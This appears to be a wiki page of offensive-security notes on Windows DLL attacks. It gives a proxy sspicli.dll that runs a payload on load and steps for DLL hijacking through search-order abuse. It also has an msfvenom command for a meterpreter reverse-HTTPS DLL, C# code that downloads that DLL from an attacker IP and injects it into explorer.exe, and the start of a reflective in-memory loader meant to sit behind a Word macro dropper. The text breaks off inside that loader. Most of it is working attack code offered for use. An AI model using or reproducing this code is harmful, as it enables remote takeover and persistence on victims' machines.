#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
